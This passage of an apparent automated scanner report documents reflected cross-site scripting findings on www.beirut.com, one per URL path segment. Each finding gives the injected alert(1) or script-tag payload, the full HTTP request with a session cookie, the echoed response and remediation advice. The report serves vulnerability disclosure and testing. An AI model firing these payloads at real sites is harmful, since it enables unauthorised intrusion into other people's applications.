HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:37:59 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61579
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Home-Furnishings/4120758082d6c80'-alert(1)-'c950948c136/China-Glassware/7'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 33479'-alert(1)-'7c28f8dee98 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082/China-Glassware33479'-alert(1)-'7c28f8dee98/7 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:41:21 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61672
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Home-Furnishings/4120758082/China-Glassware33479'-alert(1)-'7c28f8dee98/7'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9c8f8'-alert(1)-'6a945ffae2e was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082/China-Glassware/79c8f8'-alert(1)-'6a945ffae2e HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:44:32 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54952
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Home-Furnishings/4120758082/China-Glassware/79c8f8'-alert(1)-'6a945ffae2e'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f6f09'-alert(1)-'d4afe0e3fcb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shoppingf6f09'-alert(1)-'d4afe0e3fcb/Home-Furnishings/4120758082/Furniture-Rentals/9 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:31:03 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60183
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shoppingf6f09'-alert(1)-'d4afe0e3fcb/Home-Furnishings/4120758082/Furniture-Rentals/9'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3c433"><a>8c38f7750ca was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping3c433"><a>8c38f7750ca/Home-Furnishings/4120758082/Furniture-Rentals/9 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:24:56 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60390
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping3c433"><a>8c38f7750ca"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f304e'-alert(1)-'8a657e66075 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishingsf304e'-alert(1)-'8a657e66075/4120758082/Furniture-Rentals/9 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:37:46 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55150
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Home-Furnishingsf304e'-alert(1)-'8a657e66075/4120758082/Furniture-Rentals/9'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 741f6<script>alert(1)</script>27eeededa1b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Home-Furnishings741f6<script>alert(1)</script>27eeededa1b/4120758082/Furniture-Rentals/9 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:37:55 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55142
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Home Furnishings741f6<script>alert(1)</script>27eeededa1b <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 398bc'-alert(1)-'a711843de8f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082398bc'-alert(1)-'a711843de8f/Furniture-Rentals/9 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:41:28 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55018
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Home-Furnishings/4120758082398bc'-alert(1)-'a711843de8f/Furniture-Rentals/9'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f1118'-alert(1)-'292a7a8d67f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082/Furniture-Rentalsf1118'-alert(1)-'292a7a8d67f/9 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:47:48 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54961
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Home-Furnishings/4120758082/Furniture-Rentalsf1118'-alert(1)-'292a7a8d67f/9'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload abcbe'-alert(1)-'b38da2feaa5 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082/Furniture-Rentals/9abcbe'-alert(1)-'b38da2feaa5 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:51:41 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54946
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Home-Furnishings/4120758082/Furniture-Rentals/9abcbe'-alert(1)-'b38da2feaa5'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 36118'-alert(1)-'3205e213c6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping36118'-alert(1)-'3205e213c6/Home-Furnishings/4120758082/Furniture/19 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:19:51 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59889
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping36118'-alert(1)-'3205e213c6/Home-Furnishings/4120758082/Furniture/19'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f8d36"><a>85eddb2ca86 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shoppingf8d36"><a>85eddb2ca86/Home-Furnishings/4120758082/Furniture/19 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:13:16 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60042
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shoppingf8d36"><a>85eddb2ca86"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 91ec5<script>alert(1)</script>adf64f49404 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Home-Furnishings91ec5<script>alert(1)</script>adf64f49404/4120758082/Furniture/19 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:28:39 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61396
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Home Furnishings91ec5<script>alert(1)</script>adf64f49404 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5860d'-alert(1)-'963cfe6c8a9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings5860d'-alert(1)-'963cfe6c8a9/4120758082/Furniture/19 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:27:27 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61596
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Home-Furnishings5860d'-alert(1)-'963cfe6c8a9/4120758082/Furniture/19'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9e30a'-alert(1)-'5c94fb05aa8 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/41207580829e30a'-alert(1)-'5c94fb05aa8/Furniture/19 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:33:29 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61312
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Home-Furnishings/41207580829e30a'-alert(1)-'5c94fb05aa8/Furniture/19'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ac6a1'-alert(1)-'d4a79eb1946 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
